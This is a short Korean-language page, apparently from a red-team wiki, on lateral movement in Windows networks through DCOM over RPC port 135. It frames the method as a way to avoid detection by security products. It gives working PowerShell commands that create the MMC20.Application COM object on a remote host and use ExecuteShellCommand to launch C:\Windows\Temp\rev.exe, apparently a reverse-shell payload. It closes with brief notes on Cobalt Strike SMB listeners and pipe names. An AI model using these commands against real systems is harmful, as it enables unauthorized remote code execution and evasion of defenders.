DCOM

Distributed Component Object Model은 PowerShell 환경에서 사용할 수 있는 Windows의 내장 기능이기 때문에 솔루션 탐지를 피할 수 있는 측면이동의 방법으로 사용되는 기능입니다.

DCOM은 네트워크 패킷을 통해서 로컬에서 명령을 내리는 것과 같이 원격 명령 실행이 가능한데, 패킷을 전송하는 프로토콜이 RPC이며, Windows에서 기본적으로 제공하는 프로토콜인 135번 msrpc를 이용합니다. 따라서 135번 포트가 양측 모두 활성화 되어있는 상태에서 DCOM을 이용할 수 있습니다.

# ProgID 값 구하기
Get-ChildItem 'registry::HKCR\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

# COM 객체 생성
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1",<IP>))

# 원격 명령 실행
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\Windows\Temp\rev.exe","7")

코발트 스트라이크에서는 DCOM과 상호작용하는 내장 기능을 제공하지 않기 때문에 외부 라이브러리를 통해 측면 이동을 수행해야 합니다.

여기서 SMB Pipe 이름은 SMB 리스너를 생성할 때 Pipename으로 설정한 값입니다.

SMB Pipename 확인

References

Last updated